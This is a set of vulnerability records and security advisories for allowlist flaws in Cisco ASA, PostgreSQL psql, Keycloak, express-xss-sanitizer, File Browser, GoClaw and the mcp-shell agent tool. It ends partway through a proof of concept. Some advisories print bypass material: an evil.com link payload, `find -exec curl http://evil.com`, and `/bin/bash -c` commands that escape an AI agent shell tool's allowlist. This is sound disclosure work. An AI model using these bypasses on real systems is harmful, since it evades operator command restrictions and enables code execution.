CWE-183

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T00:19:48.219Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "20211027 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software Identity-Based Rule Bypass Vulnerability",
            "tags": [
              "vendor-advisory",
              "x_refsource_CISCO",
              "x_transferred"
            ],
            "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-rule-bypass-ejjOgQEY"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2021-34787",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-07T21:44:30.622445Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-07T21:45:57.012Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Cisco Adaptive Security Appliance (ASA) Software",
          "vendor": "Cisco",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "datePublic": "2021-10-27T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability in the identity-based firewall (IDFW) rule processing feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass security protections. This vulnerability is due to improper handling of network requests by affected devices configured to use object group search. An attacker could exploit this vulnerability by sending a specially crafted network request to an affected device. A successful exploit could allow the attacker to bypass access control list (ACL) rules on the device, bypass security protections, and send network traffic to unauthorized hosts."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerability that is described in this advisory."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-183",
              "description": "CWE-183",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2021-10-27T18:56:03.000Z",
        "orgId": "d1c1063e-7a18-46af-9102-31f8928bc633",
        "shortName": "cisco"
      },
      "references": [
        {
          "name": "20211027 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software Identity-Based Rule Bypass Vulnerability",
          "tags": [
            "vendor-advisory",
            "x_refsource_CISCO"
          ],
          "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-rule-bypass-ejjOgQEY"
        }
      ],
      "source": {
        "advisory": "cisco-sa-asaftd-rule-bypass-ejjOgQEY",
        "defect": [
          [
            "CSCvx47895"
          ]
        ],
        "discovery": "INTERNAL"
      },
      "title": "Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software Identity-Based Rule Bypass Vulnerability",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "psirt@cisco.com",
          "DATE_PUBLIC": "2021-10-27T16:00:00",
          "ID": "CVE-2021-34787",
          "STATE": "PUBLIC",
          "TITLE": "Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software Identity-Based Rule Bypass Vulnerability"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "Cisco Adaptive Security Appliance (ASA) Software",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "Cisco"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "A vulnerability in the identity-based firewall (IDFW) rule processing feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass security protections. This vulnerability is due to improper handling of network requests by affected devices configured to use object group search. An attacker could exploit this vulnerability by sending a specially crafted network request to an affected device. A successful exploit could allow the attacker to bypass access control list (ACL) rules on the device, bypass security protections, and send network traffic to unauthorized hosts."
            }
          ]
        },
        "exploit": [
          {
            "lang": "en",
            "value": "The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerability that is described in this advisory."
          }
        ],
        "impact": {
          "cvss": {
            "baseScore": "5.3",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.0"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-183"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "20211027 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software Identity-Based Rule Bypass Vulnerability",
              "refsource": "CISCO",
              "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-rule-bypass-ejjOgQEY"
            }
          ]
        },
        "source": {
          "advisory": "cisco-sa-asaftd-rule-bypass-ejjOgQEY",
          "defect": [
            [
              "CSCvx47895"
            ]
          ],
          "discovery": "INTERNAL"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "d1c1063e-7a18-46af-9102-31f8928bc633",
    "assignerShortName": "cisco",
    "cveId": "CVE-2021-34787",
    "datePublished": "2021-10-27T18:56:03.870Z",
    "dateReserved": "2021-06-15T00:00:00.000Z",
    "dateUpdated": "2024-11-07T21:45:57.012Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T15:40:36.672Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1894430"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111/"
          },
          {
            "name": "[debian-lts-announce] 20201202 [SECURITY] [DLA 2478-1] postgresql-9.6 security update",
            "tags": [
              "mailing-list",
              "x_refsource_MLIST",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00005.html"
          },
          {
            "name": "GLSA-202012-07",
            "tags": [
              "vendor-advisory",
              "x_refsource_GENTOO",
              "x_transferred"
            ],
            "url": "https://security.gentoo.org/glsa/202012-07"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PostgreSQL",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "All PostgreSQL versions before 13.1, before 12.5, before 11.10, before 10.15, before 9.6.20 and before 9.5.24"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A flaw was found in the psql interactive terminal of PostgreSQL in versions before 13.1, before 12.5, before 11.10, before 10.15, before 9.6.20 and before 9.5.24. If an interactive psql session uses \\gset when querying a compromised server, the attacker can execute arbitrary code as the operating system account running psql. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-183",
              "description": "CWE-183-\u003eCWE-270",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2020-12-07T01:06:25.000Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1894430"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111/"
        },
        {
          "name": "[debian-lts-announce] 20201202 [SECURITY] [DLA 2478-1] postgresql-9.6 security update",
          "tags": [
            "mailing-list",
            "x_refsource_MLIST"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00005.html"
        },
        {
          "name": "GLSA-202012-07",
          "tags": [
            "vendor-advisory",
            "x_refsource_GENTOO"
          ],
          "url": "https://security.gentoo.org/glsa/202012-07"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "secalert@redhat.com",
          "ID": "CVE-2020-25696",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "PostgreSQL",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "All PostgreSQL versions before 13.1, before 12.5, before 11.10, before 10.15, before 9.6.20 and before 9.5.24"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "A flaw was found in the psql interactive terminal of PostgreSQL in versions before 13.1, before 12.5, before 11.10, before 10.15, before 9.6.20 and before 9.5.24. If an interactive psql session uses \\gset when querying a compromised server, the attacker can execute arbitrary code as the operating system account running psql. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-183-\u003eCWE-270"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://bugzilla.redhat.com/show_bug.cgi?id=1894430",
              "refsource": "MISC",
              "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1894430"
            },
            {
              "name": "https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111/",
              "refsource": "MISC",
              "url": "https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111/"
            },
            {
              "name": "[debian-lts-announce] 20201202 [SECURITY] [DLA 2478-1] postgresql-9.6 security update",
              "refsource": "MLIST",
              "url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00005.html"
            },
            {
              "name": "GLSA-202012-07",
              "refsource": "GENTOO",
              "url": "https://security.gentoo.org/glsa/202012-07"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2020-25696",
    "datePublished": "2020-11-23T21:15:47.000Z",
    "dateReserved": "2020-09-16T00:00:00.000Z",
    "dateUpdated": "2024-08-04T15:40:36.672Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T06:46:29.917Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1790759"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "keycloak",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "all versions before 10.0.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A flaw was found in all versions of Keycloak before 10.0.0, where the NodeJS adapter did not support the verify-token-audience. This flaw results in some users having access to sensitive information outside of their permissions."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-183",
              "description": "CWE-183",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2020-09-16T18:03:14.000Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1790759"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2020-1694",
    "datePublished": "2020-09-16T18:03:14.000Z",
    "dateReserved": "2019-11-27T00:00:00.000Z",
    "dateUpdated": "2024-08-04T06:46:29.917Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "express-xss-sanitizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33979"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T17:56:45Z",
    "nvd_published_at": "2026-03-27T22:16:22Z",
    "severity": "HIGH"
  },
  "details": "## Description\nA vulnerability has been identified in express-xss-sanitizer (\u003c= 2.0.1) where restrictive sanitization configurations are silently ignored.\n\nWhen a developer explicitly sets:\n\n  allowedTags: []\n  allowedAttributes: {}\n\nthe library incorrectly treats these values as \"not provided\" due to length/emptiness checks, and falls back to sanitize-html\u0027s default configuration.\n\nAs a result, instead of stripping all HTML tags and attributes, the sanitizer allows a permissive set of tags ``` (e.g., \u003ca\u003e, \u003cp\u003e, \u003cdiv\u003e, etc.) and attributes (e.g., href on \u003ca\u003e)```.\n\nThis behavior violates the expected API contract and may lead to security issues such as content injection or XSS, depending on how the sanitized output is used.\n\n##  Impact\n\nDevelopers intending to fully strip HTML content by providing empty allowedTags or allowedAttributes configurations may unknowingly allow a wide range of HTML elements and attributes.\n\nThis can result in:\n- Injection of unintended HTML content ```(e.g., \u003cdiv\u003e, \u003ctable\u003e, headings)```\n- Injection of links via``` \u003ca href=\"...\"\u003e```\n- Potential XSS vectors depending on downstream usage\n\nThe impact depends on how the sanitized output is rendered or consumed, but the root issue is a mismatch between developer intent and actual behavior.\n\n## Proof of Concept\n\n```javascript\nconst { sanitize } = require(\u0027express-xss-sanitizer\u0027);\nconst sanitizeHtml = require(\u0027sanitize-html\u0027);\n\nconst input = \u0027\u003ca href=\"http://evil.com\"\u003eclick\u003c/a\u003e\u003cp\u003ephish\u003c/p\u003e\u0027;\n\n// Using express-xss-sanitizer (v2.0.1)\nsanitize(input, { allowedTags: [], allowedAttributes: {} });\n// =\u003e \u0027\u003ca href=\"http://evil.com\"\u003eclick\u003c/a\u003e\u003cp\u003ephish\u003c/p\u003e\u0027\n\n// Expected behavior (sanitize-html directly)\nsanitizeHtml(input, { allowedTags: [], allowedAttributes: {} });\n// =\u003e \u0027clickphish\u0027\n```\n\n## Root Cause\nThe issue was caused by validation logic that checked for non-empty arrays/objects:\n\n- allowedTags required length \u003e 0\n- allowedAttributes required Object.keys(...).length \u003e 0\n\nThis caused empty configurations ([]) and ({}) to be ignored, resulting in fallback to default permissive settings.\n\n## Fix\nThe validation logic has been updated to respect explicitly provided empty configurations.\n\nNow, if allowedTags or allowedAttributes are provided (even if empty), they are passed directly to sanitize-html without being overridden.",
  "id": "GHSA-3843-rr4g-m8jq",
  "modified": "2026-03-30T20:11:03Z",
  "published": "2026-03-27T17:56:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AhmedAdelFahim/express-xss-sanitizer/security/advisories/GHSA-3843-rr4g-m8jq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33979"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AhmedAdelFahim/express-xss-sanitizer/commit/5623009ef11dcf095c163a38dea07b9cc22ad19f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AhmedAdelFahim/express-xss-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AhmedAdelFahim/express-xss-sanitizer/releases/tag/v2.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Express XSS Sanitizer: allowedTags/allowedAttributes bypass leads to permissive sanitization (XSS risk)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-749",
      "CWE-77",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-27T15:19:16Z",
    "nvd_published_at": "2025-06-26T19:15:21Z",
    "severity": "HIGH"
  },
  "details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary ##\n\nThe *Command Execution* feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.\n\n## Impact ##\n\nThe concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the `Execute commands` permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the *uid* of the server process.\n\n## Vulnerability Description ##\n\nMany Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the `find` command and nothing else, this restriction can be circumvented by using the `-exec` flag.\n\nSome common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website \u003chttps://gtfobins.github.io\u003e gives a comprehensive overview:\n\n* \u003chttps://gtfobins.github.io/gtfobins/cpio\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/find\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/sed\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/git\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/env\u003e\n\nAs a prerequisite, an attacker needs an account with the `Execute Commands` permission and some permitted commands.\n\n## Proof of Concept ##\n\nThe following screenshot demonstrates, how this can be used to issue a network call to an external server:\n\n![image](https://github.com/user-attachments/assets/02ef0833-79ee-40f7-87b8-bbb3fe102eab)\n\n## Recommended Countermeasures ##\n\nUntil this issue is fixed, we recommend to completely disable `Execute commands` for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application\u0027s configuration.\n\nThe `prlimit` command can be used to prevent the execution of subcommands:\n\n```bash\n$ find . -exec curl http://evil.com {} \\;\n\u003cHTML\u003e\n\u003cHEAD\u003e\n[...]\n\n$ prlimit --nproc=0 find . -exec curl http://evil.com {} \\;\nfind: cannot fork: Resource temporarily unavailable\n```\n\nIt should be prepended to any command executed in the context of the application. `prlimit` can be used for containerized deployments as well as for bare-metal ones.\n\nWARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the `find` command can also delete files directly via its `-delete` flag.\n\nAs a defense-in-depth measure, Filebrowser should provide an additional container image based on a *distroless* base image.\n\n## Timeline ##\n\n* `2025-03-26` Identified the vulnerability in version 2.32.0\n* `2025-06-25` Uploaded advisories to the project\u0027s GitHub repository\n* `2025-06-25` CVE ID assigned by GitHub\n* `2025-06-25` A patch version has been pushed to disable the feature for all existent installations, and making it **opt-in**. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.\n\n## References ##\n\n* [prlimit](https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html)\n* [\"Distroless\" Container Images.](https://github.com/GoogleContainerTools/distroless)\n* [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands)\n \n## Credits ##\n\n* Mathias Tausig ([SBA Research](https://www.sba-research.org/))",
  "id": "GHSA-3q2w-42mv-cph4",
  "modified": "2026-06-09T18:40:07Z",
  "published": "2025-06-27T15:19:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3q2w-42mv-cph4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/4d830f707fc4314741fd431e70c2ce50cd5a3108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GoogleContainerTools/distroless"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands"
    },
    {
      "type": "WEB",
      "url": "https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3786"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filebrowser Allows Shell Commands to Spawn Other Commands"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-15625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T02:16:54Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in nextlevelbuilder GoClaw 3.11.3. Affected by this issue is the function ExecApprovalManager.CheckCommand of the file internal/tools/exec_approval.go. The manipulation results in incomplete blacklist. The attack can be executed remotely. The exploit has been made public and could be used.",
  "id": "GHSA-3qh8-qhwr-v2j5",
  "modified": "2026-07-14T03:31:37Z",
  "published": "2026-07-14T03:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15625"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nextlevelbuilder/goclaw/issues/1200"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nextlevelbuilder/goclaw/issues/1200#issuecomment-4760771866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nextlevelbuilder/goclaw"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-15625"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855804"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855806"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855807"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855845"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855846"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855848"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378127"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378127/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sonirico/mcp-shell"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-183",
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:41:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`mcp-shell` ships a default Docker configuration (`security.yaml`) that includes `/bin/bash` in the `allowed_executables` allowlist. The command validator (`security.go`) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as `-c`. As a result, any MCP tool caller can send `command=/bin/bash -c \u003carbitrary-command\u003e` to the `shell_exec` tool and execute commands that are not in the allowlist \u2014 including `id`, `env`, `curl`, `wget`, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as `mcpuser`.\n\n### Details\n\n`mcp-shell` implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in `security.yaml`. The Docker image ships this file with the following entry:\n\n```yaml\n# security.yaml (line 29)\nallowed_executables:\n  - \"ls\"\n  - ...\n  - \"/bin/bash\"  # Only allow if you trust the arguments\n```\n\nThe comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in `security.go` is responsible for enforcing secure mode:\n\n```go\n// security.go:84-96\nfor _, allowed := range v.config.AllowedExecutables {\n    if v.matchesExecutable(executable, allowed) {\n        if err := v.checkBlockedPatternsAndCommands(command); err != nil {\n            return err\n        }\n        return nil\n    }\n}\n```\n\n`executable` is derived solely from `parts[0]` after splitting the input on whitespace (`security.go:67`). When the command is `/bin/bash -c id`, `executable` evaluates to `/bin/bash`, which matches the allowlist entry. The `-c` flag and subsequent arguments are passed to `checkBlockedPatternsAndCommands`, which only checks for shell metacharacters (`|`, `\u0026`, `;`, `\u003c`, `\u003e`, `(`, `)`, `{`, `}`, `[`, `]`, `` ` ``, `$`, `\\`, `\"`, `\u0027`) and a configurable list of `blocked_commands`/`blocked_patterns` \u2014 both of which default to empty arrays in the shipped configuration. The flag `-c` does not match any blocked metacharacter, so the check passes.\n\nThe validated command then reaches the executor:\n\n```go\n// executor.go:149-163\nexecutable, args, err := e.parseCommand(command)\n// ...\ncmd = exec.CommandContext(ctx, executable, args...)\n```\n\n`parseCommand` splits the command string, yielding `executable=\"/bin/bash\"` and `args=[\"-c\", \"id\"]`. `exec.CommandContext` is invoked directly \u2014 no shell is spawned by the executor itself \u2014 but `/bin/bash -c id` is equivalent to a shell invocation, executing `id` outside the allowlist.\n\n**Data flow (source \u2192 sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `Dockerfile:55` | `COPY security.yaml /etc/mcp-shell/security.yaml` \u2014 bundles vulnerable config into image |\n| 2 | `Dockerfile:57` | `ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml` \u2014 activates config by default |\n| 3 | `security.yaml:29` | `/bin/bash` registered in `allowed_executables` |\n| 4 | `main.go:84-102` | MCP tool `shell_exec` registered with required `command` parameter |\n| 5 | `handler.go:34` | `command := request.RequireString(\"command\")` \u2014 attacker-controlled input received |\n| 6 | `handler.go:49` | `h.validator.validateCommand(command)` \u2014 validation called |\n| 7 | `security.go:67-96` | `executable = parts[0]` matches `/bin/bash`; `-c` not blocked; returns `nil` |\n| 8 | `handler.go:59` | Validated command forwarded to executor |\n| 9 | `executor.go:163` | `exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\")` \u2014 sink: arbitrary execution |\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository source code checked out (build context is the repository root).\n- `python3` available (for the automated PoC script).\n\n**Step 1 \u2014 Build the Docker image**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  /path/to/mcp-shell-repo \\\n  -t mcp-shell-vuln-001:latest\n```\n\n**Step 2 \u2014 Run the PoC script**\n\n```bash\npython3 vuln-001/poc.py mcp-shell-vuln-001:latest\n```\n\nThe script sends three MCP JSON-RPC requests over stdio:\n\n1. `initialize` handshake\n2. `tools/call shell_exec` with `command=\"/bin/bash -c id\"` \u2014 **exploit payload**\n3. `tools/call shell_exec` with `command=\"id\"` \u2014 **control**: direct invocation must be blocked\n\n**Expected output (exploit success):**\n\n```\n[id=2] /bin/bash -c id response:\n  \u2192 status=\u0027success\u0027, exit_code=0, stdout=\u0027uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\u0027\n\n[+] PASS: uid= confirmed \u2192 /bin/bash -c via arbitrary command execution  successful!\n\n[+] control confirmed: \u0027id\u0027 direct execution blocked (allowlist behavior normal)\n    